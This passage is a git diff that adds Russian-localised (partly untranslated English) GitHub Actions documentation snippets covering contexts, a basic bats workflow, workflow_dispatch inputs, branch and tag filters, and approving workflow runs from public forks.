variables.product.prodname_actions %} включает коллекцию переменных, называемых _контекстами_, и аналогичную коллекцию переменных, называемых _переменными среды по умолчанию_. Эти переменные предназначены для использования в разных точках рабочего процесса: + +- **Переменные среды по умолчанию:** эти переменные существуют только в средстве выполнения тестов, которое выполняет ваше задание. Дополнительные сведения см. в разделе [Переменные среды по умолчанию](/actions/reference/environment-variables#default-environment-variables). +- **Контексты:** большинство контекстов можно использовать в любой точке вашего рабочего процесса, в том числе если _переменные среды по умолчанию_ недоступны. Например, можно использовать контексты с выражениями для выполнения начальной обработки перед маршрутизацией задания в средство выполнения тестов. Это позволяет использовать контекст с условным ключевым словом `if`, чтобы определить, следует ли выполнять шаг. После выполнения задания можно также извлечь переменные контекста из средства выполнения тестов, которое выполняет задание, например `runner.os`. Дополнительные сведения о том, где можно использовать различные контексты в рабочем процессе, см. в разделе [Доступность контекста](/actions/reference/context-and-expression-syntax-for-github-actions#context-availability). + +В следующем примере показано, как эти различные типы переменных среды можно одновременно использовать в задании: + +{% raw %} +```yaml +name: CI +on: push +jobs: + prod-check: + if: ${{ github.ref == 'refs/heads/main' }} + runs-on: ubuntu-latest + steps: + - run: echo "Deploying to production server on branch $GITHUB_REF" +``` +{% endraw %} + +В этом примере инструкция `if` проверяет контекст [`github.ref`](/actions/reference/context-and-expression-syntax-for-github-actions#github-context), чтобы определить имя текущей ветви; если используется имя `refs/heads/main`, то выполняются последующие шаги. Проверка `if` обрабатывается {% data variables.product.prodname_actions %}, и задание отправляется в средство выполнения тестов только в том случае, если результат равен `true`. После отправки задания в средство выполнения тестов выполняется шаг и создается ссылка на переменную среды [`$GITHUB_REF`](/actions/reference/environment-variables#default-environment-variables) из средства выполнения тестов. diff --git a/translations/ru-RU/data/reusables/actions/workflow-basic-example-and-explanation.md b/translations/ru-RU/data/reusables/actions/workflow-basic-example-and-explanation.md new file mode 100644 index 000000000000..114077869570 --- /dev/null +++ b/translations/ru-RU/data/reusables/actions/workflow-basic-example-and-explanation.md @@ -0,0 +1,189 @@ +## Create an example workflow + +{% data variables.product.prodname_actions %} uses YAML syntax to define the workflow. Each workflow is stored as a separate YAML file in your code repository, in a directory named `.github/workflows`. + +You can create an example workflow in your repository that automatically triggers a series of commands whenever code is pushed. In this workflow, {% data variables.product.prodname_actions %} checks out the pushed code, installs the [bats](https://www.npmjs.com/package/bats) testing framework, and runs a basic command to output the bats version: `bats -v`. + +1. In your repository, create the `.github/workflows/` directory to store your workflow files. +1. In the `.github/workflows/` directory, create a new file called `learn-github-actions.yml` and add the following code. + + ```yaml{:copy} + name: learn-github-actions + {%- ifversion actions-run-name %} + run-name: {% raw %}${{ github.actor }}{% endraw %} is learning GitHub Actions + {%- endif %} + on: [push] + jobs: + check-bats-version: + runs-on: ubuntu-latest + steps: + - uses: {% data reusables.actions.action-checkout %} + - uses: {% data reusables.actions.action-setup-node %} + with: + node-version: '14' + - run: npm install -g bats + - run: bats -v + ``` +1. Commit these changes and push them to your {% data variables.product.prodname_dotcom %} repository. + +Your new {% data variables.product.prodname_actions %} workflow file is now installed in your repository and will run automatically each time someone pushes a change to the repository. To see the details about a workflow's execution history, see "[Viewing the activity for a workflow run](#viewing-the-activity-for-a-workflow-run)." + +## Understanding the workflow file + +To help you understand how YAML syntax is used to create a workflow file, this section explains each line of the introduction's example: + + + + + + +{%- ifversion actions-run-name %} + + + + +{%- endif %} + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ + ```yaml + name: learn-github-actions + ``` + + Optional - The name of the workflow as it will appear in the "Actions" tab of the {% data variables.product.prodname_dotcom %} repository. +
+ + ```yaml + run-name: {% raw %}${{ github.actor }}{% endraw %} is learning GitHub Actions + ``` + + + Optional - The name for workflow runs generated from the workflow, which will appear in the list of workflow runs on your repository's "Actions" tab. This example uses an expression with the `github` context to display the username of the actor that triggered the workflow run. For more information, see "[Workflow syntax for {% data variables.product.prodname_actions %}](/actions/using-workflows/workflow-syntax-for-github-actions#run-name)." +
+ + ```yaml + on: [push] + ``` + +Specifies the trigger for this workflow. This example uses the push event, so a workflow run is triggered every time someone pushes a change to the repository or merges a pull request. This is triggered by a push to every branch; for examples of syntax that runs only on pushes to specific branches, paths, or tags, see "Workflow syntax for {% data variables.product.prodname_actions %}." +
+ + ```yaml + jobs: + ``` + + Groups together all the jobs that run in the learn-github-actions workflow. +
+ + ```yaml + check-bats-version: + ``` + +Defines a job named check-bats-version. The child keys will define properties of the job. +
+ + ```yaml + runs-on: ubuntu-latest + ``` + + Configures the job to run on the latest version of an Ubuntu Linux runner. This means that the job will execute on a fresh virtual machine hosted by GitHub. For syntax examples using other runners, see "Workflow syntax for {% data variables.product.prodname_actions %}." +
+ + ```yaml + steps: + ``` + + Groups together all the steps that run in the check-bats-version job. Each item nested under this section is a separate action or shell script. +
+ + ```yaml + - uses: {% data reusables.actions.action-checkout %} + ``` + +The uses keyword specifies that this step will run v3 of the actions/checkout action. This is an action that checks out your repository onto the runner, allowing you to run scripts or other actions against your code (such as build and test tools). You should use the checkout action any time your workflow will run against the repository's code. +
+ + ```yaml + - uses: {% data reusables.actions.action-setup-node %} + with: + node-version: '14' + ``` + + This step uses the {% data reusables.actions.action-setup-node %} action to install the specified version of the Node.js (this example uses v14). This puts both the node and npm commands in your PATH. +
+ + ```yaml + - run: npm install -g bats + ``` + + The run keyword tells the job to execute a command on the runner. In this case, you are using npm to install the bats software testing package. +
+ + ```yaml + - run: bats -v + ``` + + Finally, you'll run the bats command with a parameter that outputs the software version. +
+ +### Visualizing the workflow file + +In this diagram, you can see the workflow file you just created and how the {% data variables.product.prodname_actions %} components are organized in a hierarchy. Each step executes a single action or shell script. Steps 1 and 2 run actions, while steps 3 and 4 run shell scripts. To find more prebuilt actions for your workflows, see "[Finding and customizing actions](/actions/learn-github-actions/finding-and-customizing-actions)." + +![Workflow overview](/assets/images/help/images/overview-actions-event.png) + +## Viewing the activity for a workflow run + +When your workflow is triggered, a _workflow run_ is created that executes the workflow. After a workflow run has started, you can see a visualization graph of the run's progress and view each step's activity on {% data variables.product.prodname_dotcom %}. + +{% data reusables.repositories.navigate-to-repo %} +1. Under your repository name, click **Actions**. + + ![Navigate to repository](/assets/images/help/images/learn-github-actions-repository.png) +1. In the left sidebar, click the workflow you want to see. + + ![Screenshot of workflow results](/assets/images/help/images/learn-github-actions-workflow.png) +1. Under "Workflow runs", click the name of the run you want to see. + + ![Screenshot of workflow runs](/assets/images/help/images/learn-github-actions-run.png) +1. Under **Jobs** or in the visualization graph, click the job you want to see. + + ![Select job](/assets/images/help/images/overview-actions-result-navigate.png) +1. View the results of each step. + + ![Screenshot of workflow run details](/assets/images/help/images/overview-actions-result-updated-2.png) diff --git a/translations/ru-RU/data/reusables/actions/workflow-dispatch-inputs.md b/translations/ru-RU/data/reusables/actions/workflow-dispatch-inputs.md new file mode 100644 index 000000000000..e78790375f5b --- /dev/null +++ b/translations/ru-RU/data/reusables/actions/workflow-dispatch-inputs.md @@ -0,0 +1,40 @@ +When using the `workflow_dispatch` event, you can optionally specify inputs that are passed to the workflow. + +The triggered workflow receives the inputs in the {% ifversion actions-unified-inputs %}`inputs`{% else %}`github.event.inputs`{% endif %} context. For more information, see "[Contexts]({% ifversion actions-unified-inputs %}/actions/learn-github-actions/contexts#inputs-context{% else %}/actions/learn-github-actions/contexts#github-context{% endif %})." + +{% data reusables.actions.inputs-vs-github-event-inputs %} + +```yaml +on: + workflow_dispatch: + inputs: + logLevel: + description: 'Log level' + required: true + default: 'warning' {% ifversion fpt or ghec or ghes > 3.3 or ghae > 3.3 %} + type: choice + options: + - info + - warning + - debug {% endif %} + print_tags: + description: 'True to print to STDOUT' + required: true {% ifversion fpt or ghec or ghes > 3.3 or ghae > 3.3 %} + type: boolean {% endif %} + tags: + description: 'Test scenario tags' + required: true {% ifversion fpt or ghec or ghes > 3.3 or ghae > 3.3 %} + type: string + environment: + description: 'Environment to run tests against' + type: environment + required: true {% endif %} + +jobs: + print-tag: + runs-on: ubuntu-latest + if: {% ifversion actions-unified-inputs %}{% raw %} ${{ inputs.print_tags }} {% endraw %}{% else %}{% raw %} ${{ github.event.inputs.print_tags == 'true' }} {% endraw %}{% endif %} + steps: + - name: Print the input tag to STDOUT + run: {% ifversion actions-unified-inputs %}echo {% raw %} The tags are ${{ inputs.tags }} {% endraw %}{% else %}echo {% raw %} The tags are ${{ github.event.inputs.tags }} {% endraw %}{% endif %} +``` diff --git a/translations/ru-RU/data/reusables/actions/workflow-dispatch-table-entry.md b/translations/ru-RU/data/reusables/actions/workflow-dispatch-table-entry.md new file mode 100644 index 000000000000..a48bde487d82 --- /dev/null +++ b/translations/ru-RU/data/reusables/actions/workflow-dispatch-table-entry.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 287726fc34b652ce09f06d9f3c0fa5d537e6335c +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "147064533" +--- +| Запуск рабочего процесса из пользовательского интерфейса вручную: | [`workflow_dispatch`](/actions/using-workflows/events-that-trigger-workflows#workflow_dispatch)| diff --git a/translations/ru-RU/data/reusables/actions/workflow-organization-templates.md b/translations/ru-RU/data/reusables/actions/workflow-organization-templates.md new file mode 100644 index 000000000000..1044851409ae --- /dev/null +++ b/translations/ru-RU/data/reusables/actions/workflow-organization-templates.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: c8b48269135d6a333120a05a9ebade28b21c978b +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "145067822" +--- +Начальные рабочие процессы позволяют всем сотрудникам организации, имеющим право создавать рабочие процессы, делать это быстрее и проще. При создании рабочего процесса можно выбрать начальный рабочий процесс, и вам не придется выполнять часть работы или все задачи по написанию рабочего процесса. Начальные рабочие процессы могут быть отправной точкой для создания пользовательского рабочего процесса, или же его можно использовать в том виде, как есть. Это не только экономит время, но и повышает уровень согласованности и продуктивности во всей организации. diff --git a/translations/ru-RU/data/reusables/actions/workflow-permissions-intro.md b/translations/ru-RU/data/reusables/actions/workflow-permissions-intro.md new file mode 100644 index 000000000000..37e06d9e22ea --- /dev/null +++ b/translations/ru-RU/data/reusables/actions/workflow-permissions-intro.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: dca56bf6a6e75f6d828422e8038060485312208e +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145114043" +--- +Вы можете задать разрешения по умолчанию, предоставляемые параметру `GITHUB_TOKEN`. Дополнительные сведения о `GITHUB_TOKEN` см. в разделе [Автоматическая проверка подлинности маркера](/actions/security-guides/automatic-token-authentication). Вы можете выбрать ограниченный набор разрешений, принимаемые по умолчанию, или применить разрешающие параметры. diff --git a/translations/ru-RU/data/reusables/actions/workflow-permissions-modifying.md b/translations/ru-RU/data/reusables/actions/workflow-permissions-modifying.md new file mode 100644 index 000000000000..57890e1020eb --- /dev/null +++ b/translations/ru-RU/data/reusables/actions/workflow-permissions-modifying.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: f447f2d7eccda58451f7fee82725fa44539befa8 +ms.sourcegitcommit: 80842b4e4c500daa051eff0ccd7cde91c2d4bb36 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/12/2022 +ms.locfileid: "147888117" +--- +Любой пользователь с доступом на запись в репозиторий может изменить разрешения, предоставленные `GITHUB_TOKEN`, добавляя или удаляя разрешения на доступ по мере необходимости путем редактирования ключа `permissions` в файле рабочего процесса. Дополнительные сведения см. на веб-сайте [`permissions`](/actions/reference/workflow-syntax-for-github-actions#permissions). diff --git a/translations/ru-RU/data/reusables/actions/workflow-pr-approval-permissions-intro.md b/translations/ru-RU/data/reusables/actions/workflow-pr-approval-permissions-intro.md new file mode 100644 index 000000000000..28b7ad274905 --- /dev/null +++ b/translations/ru-RU/data/reusables/actions/workflow-pr-approval-permissions-intro.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 097c29a001e313b61b0d625c483148119664f2de +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "147878986" +--- +Вы можете разрешить или запретить рабочим процессам {% data variables.product.prodname_actions %} {% ifversion allow-actions-to-approve-pr-with-ent-repo %} создание или{% endif %} утверждение запросов на вытягивание. diff --git a/translations/ru-RU/data/reusables/actions/workflow-run-approve-link.md b/translations/ru-RU/data/reusables/actions/workflow-run-approve-link.md new file mode 100644 index 000000000000..eb507629b79c --- /dev/null +++ b/translations/ru-RU/data/reusables/actions/workflow-run-approve-link.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 5fcbb540600ca15a2a9cb8feaf9f975862ea62b8 +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "145093046" +--- +Дополнительные сведения об утверждении рабочих процессов, к которым применяется эта политика, см. в разделе [Утверждение запусков рабочих процессов из общедоступных вилок](/actions/managing-workflow-runs/approving-workflow-runs-from-public-forks). diff --git a/translations/ru-RU/data/reusables/actions/workflow-run-approve-public-fork.md b/translations/ru-RU/data/reusables/actions/workflow-run-approve-public-fork.md new file mode 100644 index 000000000000..d244b3af4289 --- /dev/null +++ b/translations/ru-RU/data/reusables/actions/workflow-run-approve-public-fork.md @@ -0,0 +1,17 @@ +--- +ms.openlocfilehash: 59e70683dad451b603d2d34286976bfaa8d1d9c8 +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "147881061" +--- +Любой пользователь может создать вилку общедоступного репозитория, а затем отправить запрос на вытягивание, предлагающий изменения в рабочих процессах {% data variables.product.prodname_actions %}. Хотя рабочие процессы из вилок не имеют доступа к конфиденциальным данным, таким как секреты, они могут раздражать координаторов, если происходят чрезмерные ненужные изменения. + +Чтобы избежать этого, рабочие процессы по запросам на вытягивание к общедоступным репозиториям от некоторых сторонних участников не будут выполняться автоматически и, возможно, сначала потребуется их утверждение. По умолчанию все участники, которые делают вклад впервые, должны получить утверждение для запуска рабочих процессов. + +{% note %} + +**Примечание:** Рабочие процессы, активированные событиями `pull_request_target`, выполняются в контексте базовой ветви. Так как базовая ветвь считается доверенной, рабочие процессы, активированные этими событиями, всегда будут выполняться независимо от параметров утверждения. + +{% endnote %} diff --git a/translations/ru-RU/data/reusables/actions/workflow-runs-dependabot-note.md b/translations/ru-RU/data/reusables/actions/workflow-runs-dependabot-note.md new file mode 100644 index 000000000000..80be386ad46f --- /dev/null +++ b/translations/ru-RU/data/reusables/actions/workflow-runs-dependabot-note.md @@ -0,0 +1,13 @@ +--- +ms.openlocfilehash: 6d101895af1ae0e202ebfb49119c83a14682de09 +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "145093050" +--- +{% ifversion fpt or ghec %} {% note %} + +**Примечание.** Рабочие процессы запускаются запросами на вытягивание {% data variables.product.prodname_dependabot %}, как если бы они находились в репозитории с вилкой, поэтому используйте `GITHUB_TOKEN` с разрешениями только для чтения. Этот рабочий процесс не может получить доступ к секретам. Сведения о стратегиях защиты этих рабочих процессов см. в разделе [Обеспечение безопасности GitHub Actions и рабочих процессов: запрет запросов pwn](https://securitylab.github.com/research/github-actions-preventing-pwn-requests). + +{% endnote %} {% endif %} diff --git a/translations/ru-RU/data/reusables/actions/workflow-template-overview.md b/translations/ru-RU/data/reusables/actions/workflow-template-overview.md new file mode 100644 index 000000000000..bc08e3019beb --- /dev/null +++ b/translations/ru-RU/data/reusables/actions/workflow-template-overview.md @@ -0,0 +1,3 @@ +{% data variables.product.prodname_dotcom %} provides preconfigured starter workflows that you can customize to create your own continuous integration workflow. {% data variables.product.product_name %} analyzes your code and shows you CI starter workflows that might be useful for your repository. For example, if your repository contains Node.js code, you'll see suggestions for Node.js projects. You can use starter workflows as a starting place to build your custom workflow or use them as-is. + +You can browse the full list of starter workflows in the {% ifversion fpt or ghec %}[actions/starter-workflows](https://github.com/actions/starter-workflows) repository{% else %} `actions/starter-workflows` repository on {% data variables.location.product_location %}{% endif %}. diff --git a/translations/ru-RU/data/reusables/actions/workflows-from-public-fork-setting.md b/translations/ru-RU/data/reusables/actions/workflows-from-public-fork-setting.md new file mode 100644 index 000000000000..55f13d5ec5e1 --- /dev/null +++ b/translations/ru-RU/data/reusables/actions/workflows-from-public-fork-setting.md @@ -0,0 +1,12 @@ +--- +ms.openlocfilehash: 535e7cb1279d9ca040c8a3788be87f9dd267f7c9 +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "145067798" +--- +1. В разделе **Рабочие процессы создания вилок для запросов на вытягивание от внешних участников совместной работы** выберите нужный вариант. Варианты перечислены в порядке от наименее до наиболее строгих. + + ![Параметр для утверждения рабочих процессов из общедоступных вилок](/assets/images/help/settings/actions-fork-pull-request-approval.png) +1. Нажмите **Сохранить**, чтобы применить настроенные параметры. diff --git a/translations/ru-RU/data/reusables/actions/workflows/approve-workflow-runs.md b/translations/ru-RU/data/reusables/actions/workflows/approve-workflow-runs.md new file mode 100644 index 000000000000..bbb0ec6d7ea4 --- /dev/null +++ b/translations/ru-RU/data/reusables/actions/workflows/approve-workflow-runs.md @@ -0,0 +1,15 @@ +--- +ms.openlocfilehash: fec57b88af5ef5b7227d88a8c70e5a4b4bb9c769 +ms.sourcegitcommit: fdc4466e89467a7b13239e26c6042dc1428946b6 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 11/14/2022 +ms.locfileid: "148163839" +--- +Ответственные за обслуживание с доступом на запись к репозиторию могут использовать следующую процедуру для проверки и запуска рабочих процессов при поступлении запросов на вытягивание от участников, которым требуется утверждение. + +{% data reusables.repositories.sidebar-pr %} {% data reusables.repositories.choose-pr-review %} {% data reusables.repositories.changed-files %} +1. Проверьте предлагаемые изменения в запросе на вытягивание и убедитесь в том, что рабочие процессы можно спокойно выполнить в ветви запроса на вытягивание. Особенного внимания требуют предлагаемые изменения в каталоге `.github/workflows/`, влияющие на файлы рабочего процесса. +1. Если вы уверены, что рабочие процессы можно спокойно выполнить в ветви запроса на вытягивание, вернитесь на вкладку {% octicon "comment-discussion" aria-label="The discussion icon" %} **Беседа** и в разделе "Рабочие процессы, ожидающие утверждения" нажмите кнопку **Утвердить и запустить**. + + ![Утверждение и запуск рабочих процессов](/assets/images/help/pull_requests/actions-approve-and-run-workflows-from-fork.png) \ No newline at end of file diff --git a/translations/ru-RU/data/reusables/actions/workflows/section-run-on-specific-branches-or-tags.md b/translations/ru-RU/data/reusables/actions/workflows/section-run-on-specific-branches-or-tags.md new file mode 100644 index 000000000000..c9924f508796 --- /dev/null +++ b/translations/ru-RU/data/reusables/actions/workflows/section-run-on-specific-branches-or-tags.md @@ -0,0 +1,85 @@ +--- +ms.openlocfilehash: 4e50754bfa8075681d503e689df630855eedbbab +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145089106" +--- + +При использовании события `push` можно настроить выполнение рабочего процесса в определенных ветвях или тегах. + +Используйте фильтр `branches`, если требуется включить шаблоны имен ветвей или как включить, так и исключить их. Используйте фильтр `branches-ignore`, если требуется только исключить шаблоны имен ветвей. Для одного и того же события в рабочем процессе нельзя использовать фильтры `branches` и `branches-ignore` одновременно. + +Используйте фильтр `tags`, если требуется включить шаблоны имен тегов или как включить, так и исключить их. Используйте фильтр `tags-ignore`, если требуется только исключить шаблоны имен тегов. Для одного и того же события в рабочем процессе нельзя использовать фильтры `tags` и `tags-ignore` одновременно. + +Если вы определяете только `tags`/`tags-ignore` или только `branches`/`branches-ignore`, рабочий процесс не будет выполняться для событий, затрагивающих не определенную ссылку Git. Если вы не определили ни `tags`/`tags-ignore`, ни `branches`/`branches-ignore`, рабочий процесс будет выполняться для событий, затрагивающих все ветви или теги. Если вы определили и `branches`/`branches-ignore`, и [`paths`](#onpushpull_requestpull_request_targetpathspaths-ignore), рабочий процесс будет запускаться только в случае, если выполнены оба фильтра. + +Ключевые слова `branches`, `branches-ignore`, `tags`и `tags-ignore` принимают стандартные маски, использующие такие символы, как `*`, `**`, `+`, `?`, `!` и другие, для сопоставления нескольких имен ветвей или тегов. Если имя содержит любой из этих символов, и требуется буквальное совпадение, необходимо *экранировать* каждый из этих специальных символов с помощью `\`. Дополнительные сведения о стандартных масках см. в разделе [Краткий справочник по шаблонам фильтров](/actions/using-workflows/workflow-syntax-for-github-actions#filter-pattern-cheat-sheet). + +#### Пример. Включение ветвей и тегов + +Шаблоны, определенные в `branches` и `tags`, применяются для имени ссылки Git. Например, следующий рабочий процесс будет выполняться всякий раз, когда событие `push` происходит в: + +- ветви с именем `main` (`refs/heads/main`); +- ветви с именем `mona/octocat` (`refs/heads/mona/octocat`); +- ветви, имя которой начинается с `releases/`, например `releases/10` (`refs/heads/releases/10`); +- теге с именем `v2` (`refs/tags/v2`); +- теге, имя которого начинается с `v1.`, например `v1.9.1` (`refs/tags/v1.9.1`). + +```yaml +on: + push: + # Sequence of patterns matched against refs/heads + branches: + - main + - 'mona/octocat' + - 'releases/**' + # Sequence of patterns matched against refs/tags + tags: + - v2 + - v1.* +``` + +#### Пример. Исключение ветвей и тегов + +Если шаблон соответствует шаблону `branches-ignore` или `tags-ignore`, рабочий процесс не будет выполняться. Шаблоны, определенные в `branches` и `tags`, применяются для имени ссылки Git. Например, следующий рабочий процесс будет выполняться всякий раз, когда происходит событие `push`, если при этом не происходит событие `push` в: + +- ветви с именем `mona/octocat` (`refs/heads/mona/octocat`); +- ветви, имя которой соответствует `releases/**-alpha`, например `beta/3-alpha` (`refs/releases/beta/3-alpha`); +- теге с именем `v2` (`refs/tags/v2`); +- теге, имя которого начинается с `v1.`, например `v1.9` (`refs/tags/v1.9`). + +```yaml +on: + push: + # Sequence of patterns matched against refs/heads + branches-ignore: + - 'mona/octocat' + - 'releases/**-alpha' + # Sequence of patterns matched against refs/tags + tags-ignore: + - v2 + - v1.* +``` + +#### Пример. Включение и исключение ветвей и тегов + +Вы не можете использовать `branches` и `branches-ignore` для фильтрации одного и того же события в одном рабочем процессе. Аналогично, вы не можете использовать `tags` и `tags-ignore` для фильтрации одного и того же события в одном рабочем процессе. Если вы хотите одновременно включить и исключить шаблоны ветвей или тегов для одного события, используйте фильтр `branches` или `tags` с символом `!`, чтобы указать, какие ветви или теги следует исключить. + +Если вы определяете ветвь с символом `!`, необходимо также определить по крайней мере одну ветвь без символа `!`. Если вы хотите только исключить ветви, используйте вместо этого `branches-ignore`. Аналогично, если вы определяете тег с символом `!`, необходимо также определить по крайней мере один тег без символа `!`. Если вы хотите только исключить теги, используйте вместо этого `tags-ignore`. + +Порядок определения шаблонов имеет значение. + +- Соответствующий отрицательный шаблон (с префиксом `!`) после положительного совпадения исключает ссылку Git. +- Соответствующий положительный шаблон после отрицательного совпадения снова включает ссылку Git. + +Следующий рабочий процесс будет выполняться при отправке в `releases/10` или `releases/beta/mona`, но не в `releases/10-alpha` или `releases/beta/3-alpha`, потому что за положительным шаблоном следует отрицательный шаблон `!releases/**-alpha`. + +```yaml +on: + push: + branches: + - 'releases/**' + - '!releases/**-alpha' +``` diff --git a/translations/ru-RU/data/reusables/actions/workflows/section-specifying-branches.md b/translations/ru-RU/data/reusables/actions/workflows/section-specifying-branches.md new file mode 100644 index 000000000000..6d12371718bf --- /dev/null +++ b/translations/ru-RU/data/reusables/actions/workflows/section-specifying-branches.md @@ -0,0 +1,53 @@ +--- +ms.openlocfilehash: a35ad50ac71e34c7aecdc8f58720f962375acabd +ms.sourcegitcommit: 5f9527483381cfb1e41f2322f67c80554750a47d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "145067790" +--- + +При использовании события `workflow_run` можно указать, в каких ветвях должен выполняться запускающий рабочий процесс, чтобы активировать ваш рабочий процесс. + +В фильтрах `branches` и `branches-ignore` можно использовать стандартные маски с такими символами, как `*`, `**`, `+`, `?`, `!` и другие, для сопоставления нескольких имен ветвей. Если имя содержит любой из этих символов, и требуется буквальное совпадение, необходимо *экранировать* каждый из этих специальных символов с помощью `\`. Дополнительные сведения о стандартных масках см. в разделе [Краткий справочник по шаблонам фильтров](/actions/using-workflows/workflow-syntax-for-github-actions#filter-pattern-cheat-sheet). + +Например, рабочий процесс со следующим триггером будет выполняться, только если рабочий процесс с именем `Build` выполняется в ветви, имя которой начинается с `releases/`. + +```yaml +on: + workflow_run: + workflows: ["Build"] + types: [requested] + branches: + - 'releases/**' +``` + +Рабочий процесс со следующим триггером будет выполняться, только если рабочий процесс с именем `Build` выполняется в ветви с именем отличным от `canary`. + +```yaml +on: + workflow_run: + workflows: ["Build"] + types: [requested] + branches-ignore: + - "canary" +``` + +Для одного и того же события в рабочем процессе нельзя использовать фильтры `branches` и `branches-ignore` одновременно. Если вам нужно с помощью шаблонов одновременно включить и исключить имена ветвей для одного события, используйте фильтр `branches` с символом `!`, чтобы указать, какие ветви следует исключить. + +Порядок определения шаблонов имеет значение. + +- Если после включающего шаблона идет исключающий (с префиксом `!`) и найдена ветвь, соответствующая им обоим, такая ветвь исключается. +- Если после исключающего шаблона идет включающий, ветвь, соответствующая им обоим, снова включается. + +Например, рабочий процесс со следующим триггером будет выполняться, если рабочий процесс с именем `Build` выполняется в ветви с именем `releases/10` или `releases/beta/mona`, но не в ветви `releases/10-alpha`, `releases/beta/3-alpha` или `main`. + +```yaml +on: + workflow_run: + workflows: ["Build"] + types: [requested] + branches: + - 'releases/**' + - '!releases/**-alpha' +``` diff --git a/translations/ru-RU/data/reusables/actions/workflows/section-triggering-a-workflow-branches.md b/translations/ru-RU/data/reusables/actions/workflows/section-triggering-a-workflow-branches.md new file mode 100644 index 000000000000..109766bab892 --- /dev/null +++ b/translations/ru-RU/data/reusables/actions/workflows/section-triggering-a-workflow-branches.md @@ -0,0 +1,70 @@ +--- +ms.openlocfilehash: 476305b7c40430f20edb235a1c1ce73482464c90 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "146064238" +--- +При использовании событий `pull_request` и `pull_request_target` можно настроить выполнение рабочего процесса только для запросов на вытягивание, предназначенных для конкретных ветвей. + +Используйте фильтр `branches`, если требуется включить шаблоны имен ветвей или как включить, так и исключить их. Используйте фильтр `branches-ignore`, если требуется только исключить шаблоны имен ветвей. Для одного и того же события в рабочем процессе нельзя использовать фильтры `branches` и `branches-ignore` одновременно. + +Если вы определили и `branches`/`branches-ignore`, и [`paths`](#onpushpull_requestpull_request_targetpathspaths-ignore), рабочий процесс будет запускаться только в случае, если выполнены оба фильтра. + +Ключевые слова `branches` и `branches-ignore` принимают стандартные маски, использующие такие символы, как `*`, `**`, `+`, `?`, `!` и другие, чтобы соответствовать нескольким именам ветвей. Если имя содержит любой из этих символов и требуется буквальное совпадение, необходимо экранировать каждый из этих специальных символов с помощью `\`. Дополнительные сведения о стандартных масках см. в разделе [Краткий справочник по шаблонам фильтров](/actions/using-workflows/workflow-syntax-for-github-actions#filter-pattern-cheat-sheet). + +#### Пример: включение ветвей + +Шаблоны, определенные в `branches`, оцениваются по имени ссылки Git. Например, указанный ниже рабочий процесс будет выполняться всякий раз, когда происходит событие `pull_request` для запроса на вытягивание, нацеленного на: + +- ветви с именем `main` (`refs/heads/main`); +- ветви с именем `mona/octocat` (`refs/heads/mona/octocat`); +- ветви, имя которой начинается с `releases/`, например `releases/10` (`refs/heads/releases/10`); + +```yaml +on: + pull_request: + # Sequence of patterns matched against refs/heads + branches: + - main + - 'mona/octocat' + - 'releases/**' +``` + +#### Пример исключения ветвей + +В случае соответствия шаблона `branches-ignore` рабочий процесс не будет выполняться. Шаблоны, определенные в `branches`, оцениваются по имени ссылки Git. Например, указанный ниже рабочий процесс будет выполняться всякий раз, когда происходит событие `pull_request`, если при этом запрос на вытягивание не нацелен на: + +- ветви с именем `mona/octocat` (`refs/heads/mona/octocat`); +- ветви, имя которой соответствует `releases/**-alpha`, например `releases/beta/3-alpha` (`refs/heads/releases/beta/3-alpha`); + +```yaml +on: + pull_request: + # Sequence of patterns matched against refs/heads + branches-ignore: + - 'mona/octocat' + - 'releases/**-alpha' +``` + +#### Пример: включение и исключение ветвей + +Нельзя использовать `branches` и `branches-ignore` для фильтрации одного и того же события в одном рабочем процессе. Если вы хотите одновременно включить и исключить шаблоны ветвей для одного события, используйте фильтр `branches` с символом `!`, чтобы указать, какие ветви следует исключить. + +Если вы определяете ветвь с символом `!`, необходимо также определить по крайней мере одну ветвь без символа `!`. Если вы хотите только исключить ветви, используйте вместо этого `branches-ignore`. + +Порядок определения шаблонов имеет значение. + +- Соответствующий отрицательный шаблон (с префиксом `!`) после положительного совпадения исключает ссылку Git. +- Соответствующий положительный шаблон после отрицательного совпадения снова включает ссылку Git. + +Указанный ниже 